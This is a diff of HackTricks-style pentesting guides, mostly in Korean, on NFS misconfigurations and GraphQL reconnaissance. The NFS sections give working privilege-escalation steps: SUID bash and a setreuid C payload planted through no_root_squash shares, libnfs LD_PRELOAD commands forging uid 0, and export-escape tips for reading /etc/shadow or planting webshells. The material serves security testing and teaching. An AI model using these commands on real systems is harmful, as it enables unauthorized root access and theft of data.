diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 41812d82d..d510208bd 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -**/etc/exports** 파일을 읽어보세요. **no_root_squash**로 구성된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근하고 로컬 머신의 **root**인 것처럼 그 안에 쓸 수 있습니다. +# Squashing Basic Info -**no_root_squash**: 이 옵션은 기본적으로 클라이언트의 root 사용자에게 NFS 서버의 파일에 root로 접근할 수 있는 권한을 부여합니다. 이는 심각한 보안 문제를 초래할 수 있습니다. +NFS는 일반적으로 (특히 리눅스에서) 파일에 접근하기 위해 클라이언트가 연결할 때 지정된 `uid`와 `gid`를 신뢰합니다 (kerberos가 사용되지 않는 경우). 그러나 서버에서 **이 동작을 변경하는** 몇 가지 설정이 있습니다: -**no_all_squash:** 이 옵션은 **no_root_squash**와 유사하지만 **비루트 사용자**에게 적용됩니다. 예를 들어, nobody 사용자로 쉘을 가지고 있고, /etc/exports 파일을 확인했으며, no_all_squash 옵션이 존재하고, /etc/passwd 파일을 확인한 후, 비루트 사용자로 에뮬레이트하고, 그 사용자로 SUID 파일을 생성한 후(nfs를 사용하여 마운트) nobody 사용자로 SUID를 실행하여 다른 사용자로 변환할 수 있습니다. +- **`all_squash`**: 모든 접근을 압축하여 모든 사용자와 그룹을 **`nobody`** (65534 unsigned / -2 signed)로 매핑합니다. 따라서 모든 사용자는 `nobody`가 되며, 사용자가 없습니다. +- **`root_squash`/`no_all_squash`**: 이는 리눅스의 기본값이며 **uid 0 (root)**에 대한 접근만 압축합니다. 따라서 모든 `UID`와 `GID`는 신뢰되지만 `0`은 `nobody`로 압축됩니다 (따라서 root 가장이 불가능합니다). +- **``no_root_squash`**: 이 설정이 활성화되면 root 사용자조차 압축하지 않습니다. 즉, 이 설정으로 디렉토리를 마운트하면 root로 접근할 수 있습니다. + +**/etc/exports** 파일에서 **no_root_squash**로 설정된 디렉토리를 찾으면, **클라이언트로서** 해당 디렉토리에 **접근**하고 **그 안에 쓰기**를 할 수 있습니다 **로컬 머신의 root**인 것처럼. + +**NFS**에 대한 더 많은 정보는 다음을 확인하세요: + +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} # Privilege Escalation ## Remote Exploit -이 취약점을 발견했다면, 이를 악용할 수 있습니다: - -- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **root로** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, 피해자 머신에서 그 bash 바이너리를 실행합니다. +옵션 1: bash 사용: +- **클라이언트 머신에서 해당 디렉토리를 마운트하고, root로서** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, **피해자** 머신에서 해당 bash 바이너리를 실행합니다. +- NFS 공유 내에서 root가 되려면, **`no_root_squash`**가 서버에 설정되어 있어야 합니다. +- 그러나 활성화되지 않은 경우, 바이너리를 NFS 공유에 복사하고 상승하고자 하는 사용자로서 SUID 권한을 부여하여 다른 사용자로 상승할 수 있습니다. ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` +옵션 2: C 컴파일 코드 사용: - 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **루트로 복사**하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 피해자 머신에서 해당 바이너리를 **실행**합니다 (여기에서 일부 [C SUID 페이로드](payloads-to-execute.md#c)를 찾을 수 있습니다). +- 이전과 동일한 제한 사항 ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,14 +55,14 @@ cd ## Local Exploit > [!NOTE] -> 당신의 머신에서 피해자 머신으로 **터널을 생성할 수 있다면, 필요한 포트를 터널링하여 이 권한 상승을 이용하기 위해 원격 버전을 여전히 사용할 수 있습니다**.\ -> 다음 트릭은 파일 `/etc/exports`가 **IP를 나타내는 경우**에 해당합니다. 이 경우 **어떤 경우에도** **원격 익스플로잇을 사용할 수 없으며** **이 트릭을 악용해야 합니다**.\ -> 익스플로잇이 작동하기 위한 또 다른 필수 조건은 **`/etc/export` 내의 내보내기가** **`insecure` 플래그를 사용해야 한다는 것입니다**.\ -> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못합니다_-- +> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ +> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ +> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ +> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못한다_-- ## Basic Information -이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 이용하여 NFSv3 사양의 결함을 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있어 무단 접근을 가능하게 합니다. 익스플로잇은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용합니다. +이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있게 해주는 NFSv3 사양의 결함을 이용하여 무단 접근을 가능하게 합니다. 이 악용은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용하는 것을 포함합니다. ### Compiling the Library @@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### Exploit 수행 -이 exploit는 root 권한을 상승시키고 쉘을 실행하는 간단한 C 프로그램(`pwn.c`)을 생성하는 것을 포함합니다. 프로그램은 컴파일되고, 결과 이진 파일(`a.out`)은 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다: +이 익스플로잇은 루트 권한으로 권한을 상승시키고 셸을 실행하는 간단한 C 프로그램(`pwn.c`)을 만드는 것을 포함합니다. 프로그램이 컴파일되고, 결과 이진 파일(`a.out`)이 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다: 1. **익스플로잇 코드 컴파일:** - ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **공유에 익스플로잇을 배치하고 uid를 위조하여 권한을 수정합니다:** - +2. **공유에 익스플로잇을 배치하고 uid를 조작하여 권한을 수정합니다:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -3. **root 권한을 얻기 위해 익스플로잇을 실행합니다:** +3. **루트 권한을 얻기 위해 익스플로잇을 실행합니다:** ```bash /mnt/share/a.out #root ``` +## Bonus: NFShell for Stealthy File Access -## 보너스: NFShell을 통한 은밀한 파일 접근 - -root 접근이 얻어진 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid와 일치하도록 uid를 조정하여, 권한 문제 없이 공유의 파일과 상호작용할 수 있게 합니다: +루트 접근 권한을 얻은 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid를 일치시켜, 권한 문제 없이 공유의 파일과 상호작용할 수 있도록 합니다: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -108,7 +116,7 @@ uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` -다음과 같이 실행하십시오: +실행 방법: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 4a2db10f9..37322c883 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -1,4 +1,4 @@ -# 2049 - NFS 서비스 펜테스팅 +# 2049 - Pentesting NFS Service {{#include ../banners/hacktricks-training.md}} @@ -6,27 +6,64 @@ **NFS**는 사용자가 네트워크를 통해 파일에 원활하게 접근할 수 있도록 설계된 **클라이언트/서버** 시스템으로, 이러한 파일이 로컬 디렉토리에 있는 것처럼 보이게 합니다. -이 프로토콜의 주목할 만한 점은 내장된 **인증** 또는 **권한 부여 메커니즘**이 없다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트 제공 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다. - -인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 서버에 의한 추가 검증이 불가능해지는 문제가 발생합니다. 따라서 이 프로토콜은 인증 방법에 의존하기 때문에 **신뢰할 수 있는 네트워크** 내에서 사용하는 것이 가장 적합합니다. - **기본 포트**: 2049/TCP/UDP (버전 4를 제외하고, TCP 또는 UDP만 필요함). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` +### 인증 + +이 프로토콜의 주목할 만한 측면은 일반적으로 내장된 **인증** 또는 **권한 부여 메커니즘**이 부족하다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트가 제공한 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다. + +인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 문제가 발생하며, 서버에 의한 추가 검증의 여지가 없습니다. 게다가 이러한 세부 정보는 클라이언트에 의해 전송되고 서버에 의해 신뢰되므로, 악의적인 클라이언트가 더 높은 권한의 `uid` 및 `gid`를 보내 다른 사용자를 **가장할** 수 있습니다. + +**그러나 기본적으로 NFS를 사용하여 `UID` 0(루트)을 가장하는 것은 불가능하다는 점에 유의하십시오. 이에 대한 자세한 내용은 스쿼싱 섹션에서 다룹니다.** + +#### 호스트 + +더 나은(또는 일부) 권한 부여를 위해 NFS 공유에 접근할 수 있는 **호스트**를 지정할 수 있습니다. 이는 Linux의 `/etc/exports` 파일에서 수행할 수 있습니다. 예: +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share. + ### Versions -- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인식되며, 초기 작업이 주로 UDP를 통해 이루어졌다는 점에서 중요성을 지닙니다. **가장 오래된** 버전으로서, 향후 개발의 기초를 마련했습니다. +- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인정받으며, 초기 작업이 주로 UDP를 통해 이루어졌습니다. 시리즈 중 **가장 오래된** 버전으로, 향후 개발의 기초를 마련했습니다. -- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 가변 파일 크기를 지원하고 향상된 오류 보고 메커니즘을 제공함으로써 이전 버전을 확장했습니다. 그럼에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다. +- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 이전 버전을 기반으로 하여 가변 파일 크기를 지원하고 개선된 오류 보고 메커니즘을 제공합니다. 발전에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다. -- **NFSv4**: NFS 시리즈의 이정표가 되는 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별시킵니다. +- **NFSv4**: NFS 시리즈의 획기적인 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별합니다. +- Kerberos 인증을 지원하는 Linux 호스트 NFS를 찾는 것은 매우 이상적입니다. -각 NFS 버전은 네트워크 환경의 진화하는 요구를 충족하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다. +각 NFS 버전은 네트워크 환경의 진화하는 요구를 해결하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다. + +### Squashing + +앞서 언급했듯이, NFS는 일반적으로 클라이언트의 `uid`와 `gid`를 신뢰하여 파일에 접근합니다(kerberos가 사용되지 않는 경우). 그러나 서버에서 **이 동작을 변경하는** 몇 가지 구성을 설정할 수 있습니다: + +- **all_squash**: 모든 접근을 압축하여 모든 사용자와 그룹을 **`nobody`** (65534 unsigned / -2 signed)로 매핑합니다. 따라서 모든 사용자는 `nobody`가 되며 사용자가 없습니다. +- **root_squash/no_all_squash**: 이는 Linux의 기본값이며 **uid 0 (root)로 접근을 압축합니다**. 따라서 모든 `UID`와 `GID`는 신뢰되지만 `0`은 `nobody`로 압축됩니다(따라서 root 가장이 불가능합니다). +- **no_root_squash**: 이 구성이 활성화되면 root 사용자조차 압축하지 않습니다. 즉, 이 구성을 사용하여 디렉토리를 마운트하면 root로 접근할 수 있습니다. + +### Subtree check + +Linux에서만 사용 가능합니다. man(5) exports는 다음과 같이 말합니다: "파일 시스템의 하위 디렉토리가 내보내지지만 전체 파일 시스템이 내보내지 않는 경우, NFS 요청이 도착할 때마다 서버는 접근된 파일이 적절한 파일 시스템에 있는지(이는 쉽습니다)뿐만 아니라 내보낸 트리에 있는지(이는 더 어렵습니다) 확인해야 합니다. 이 검사를 subtree check라고 합니다." + +Linux에서는 **`subtree_check` 기능이 기본적으로 비활성화되어 있습니다.** ## Enumeration -### Useful nmap scripts +### Showmount + +이것은 **NFSv3 서버에서 정보를 얻는 데** 사용될 수 있으며, **내보내기** 목록, 이 내보내기에 **접근할 수 있는** 사람, 연결된 클라이언트 등을 포함합니다(클라이언트가 서버에 알리지 않고 연결을 끊으면 부정확할 수 있습니다). +**NFSv4 클라이언트는 직접 /export에 접근**하고 거기서 내보내기에 접근하려고 시도하며, 유효하지 않거나 어떤 이유로든 권한이 없으면 실패합니다. + +`showmount`와 같은 도구나 Metasploit 모듈이 NFS 포트에서 정보를 표시하지 않으면, 이는 버전 3을 지원하지 않는 NFSv4 서버일 가능성이 있습니다. +```bash +showmount -e +``` +### 유용한 nmap 스크립트 ```bash nfs-ls #List NFS exports and check permissions nfs-showmount #Like showmount -e @@ -36,9 +73,14 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### Mounting +### nfs_analyze -서버가 **마운트**할 수 있는 **어떤 폴더**가 있는지 알기 위해 다음과 같이 요청할 수 있습니다: +이 도구는 [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)에서 제공되며, NFS 서버에서 **마운트**, 지원되는 NFS 버전, 연결된 IP 및 **내보내기에서 다른 폴더로 탈출할 수 있는지** 또는 **`no_root_squash`가 활성화되어 있는지**와 같은 많은 데이터를 얻는 데 사용할 수 있습니다. + + +## Mounting + +서버가 **마운트할 수 있는 폴더**를 알기 위해 다음과 같이 요청할 수 있습니다: ```bash showmount -e ``` @@ -53,13 +95,38 @@ mount -t nfs [-o vers=2] : -o nolock mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## 권한 +## 공격 -특정 사용자만 접근할 수 있는 **파일 또는 폴더**가 포함된 폴더를 마운트하면 (**UID**에 의해). 해당 **UID**를 가진 사용자를 **로컬**에서 생성하고 그 **사용자**를 사용하여 파일/폴더에 **접근**할 수 있습니다. +### UID 및 GID 신뢰 -## NSFShell +물론, 여기서 유일한 문제는 기본적으로 루트(`UID` 0)를 가장할 수 없다는 것입니다. 그러나 다른 사용자를 가장할 수 있으며, `no_root_squash`가 활성화된 경우 루트도 가장할 수 있습니다. -파일에 접근하기 위해 UID와 GID를 쉽게 나열하고 마운트하며 변경하려면 [nfsshell](https://github.com/NetDirect/nfsshell)을 사용할 수 있습니다. +- 특정 사용자만 접근할 수 있는 **파일 또는 폴더**가 포함된 폴더를 마운트하는 경우( **UID**에 의해). 해당 **UID**를 가진 사용자를 **로컬**에서 **생성**하고 그 **사용자**를 사용하여 파일/폴더에 **접근**할 수 있습니다. +- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)의 **`fuse_nfs`** 도구는 파일에 접근하기 위해 필요한 UID와 GID를 항상 전송합니다. + +### SUID 권한 상승 + +페이지를 확인하세요: + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### 내보내기에서 탈출 + +이 [훌륭한 기사](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/)에서는 **내보내기에서 탈출하여 파일 시스템의 다른 폴더에 접근할 수 있는** 가능성을 확인할 수 있습니다. + +따라서, 내보내기가 **전체 파일 시스템**의 **하위 폴더**인 폴더를 내보내는 경우, **`subtree_check`**가 비활성화되어 있으면 내보내기 외부의 파일에 접근할 수 있습니다. 그리고 이는 **리눅스에서 기본적으로 비활성화되어 있습니다**. + +예를 들어, NFS 서버가 `/srv/`를 내보내고 `/var/`가 동일한 파일 시스템에 있는 경우, `/var/log/`에서 로그를 읽거나 `/var/www/`에 웹쉘을 저장할 수 있습니다. + +또한, 기본적으로 루트(0) 사용자만 가장되는 것을 방지한다는 점에 유의하세요(스쿼시 섹션 확인). 그러나 파일이 **루트에 의해 소유되지만 그룹이 0이 아닌 경우 접근할 수 있습니다**. 예를 들어, 파일 `/etc/shadow`는 루트에 의해 소유되지만 그룹은 `shadow`(Debian에서 gid 42)입니다. 따라서 기본적으로 읽을 수 있습니다! + +[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)의 **`nfs_analyze`** 도구는 ext4, xfs, btrfs 파일 시스템에 대한 이 공격을 지원하도록 구축되었습니다(버전 3에서 가능해야 하며, v4에서도 가능할 것입니다). + +### NSFShell + +파일에 접근하기 위해 UID 및 GID를 쉽게 나열하고 마운트하며 변경하려면 [nfsshell](https://github.com/NetDirect/nfsshell)을 사용할 수 있습니다. [멋진 NFSShell 튜토리얼.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) @@ -68,7 +135,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock /etc/exports /etc/lib/nfs/etab ``` -### 위험한 설정 +## 위험한 설정 - **읽기 및 쓰기 권한 (`rw`):** 이 설정은 파일 시스템에서 읽기와 쓰기를 모두 허용합니다. 이렇게 광범위한 접근을 허용하는 것의 의미를 고려하는 것이 중요합니다. @@ -76,9 +143,9 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - **중첩 파일 시스템의 가시성 (`nohide`):** 이 구성은 다른 파일 시스템이 내보낸 디렉토리 아래에 마운트되어 있어도 디렉토리를 볼 수 있게 합니다. 각 디렉토리는 적절한 관리를 위해 자체 내보내기 항목이 필요합니다. -- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래의 UID/GID인 0을 유지하여 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다. +- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래 UID/GID인 0을 유지하여 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다. -- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 하여, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 일으킬 수 있습니다. +- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 보장하지만, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 초래할 수 있습니다. ## NFS 잘못된 구성으로 인한 권한 상승 diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 7ebb441ac..217066b40 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Introduction -GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. +GraphQL은 **효율적인 대안**으로 **REST API**에 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있게 합니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. ## GraphQL과 보안 -GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목해야 할 핵심 사항은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. +GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 개발자가 이러한 보안 조치를 구현하는 것이 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. ### 디렉토리 브루트 포스 공격과 GraphQL @@ -23,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 - `/graphql/api` - `/graphql/graphql` -열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### 지문 인식 @@ -31,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 #### 유니버설 쿼리 -URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. +URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인합니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. ```javascript query{__typename} ``` @@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy **오류** -**오류**가 **표시**될 것인지 아는 것은 흥미롭습니다. 이는 유용한 **정보**에 기여할 것입니다. +**오류**가 **표시**될지 아는 것은 흥미롭습니다. 이는 유용한 **정보**에 기여할 것입니다. ``` ?query={__schema} ?query={} @@ -162,7 +162,7 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형 등...). +마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...) ![](<../../images/image (363).png>) @@ -176,7 +176,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -쿼리 "_flags_"의 유형이 "_Flags_"임에 유의하세요. 이 객체는 아래와 같이 정의됩니다: +쿼리 "_flags_"의 유형이 "_Flags_"라는 점에 유의하세요. 이 객체는 아래와 같이 정의됩니다: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -193,7 +193,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` 다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ -이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 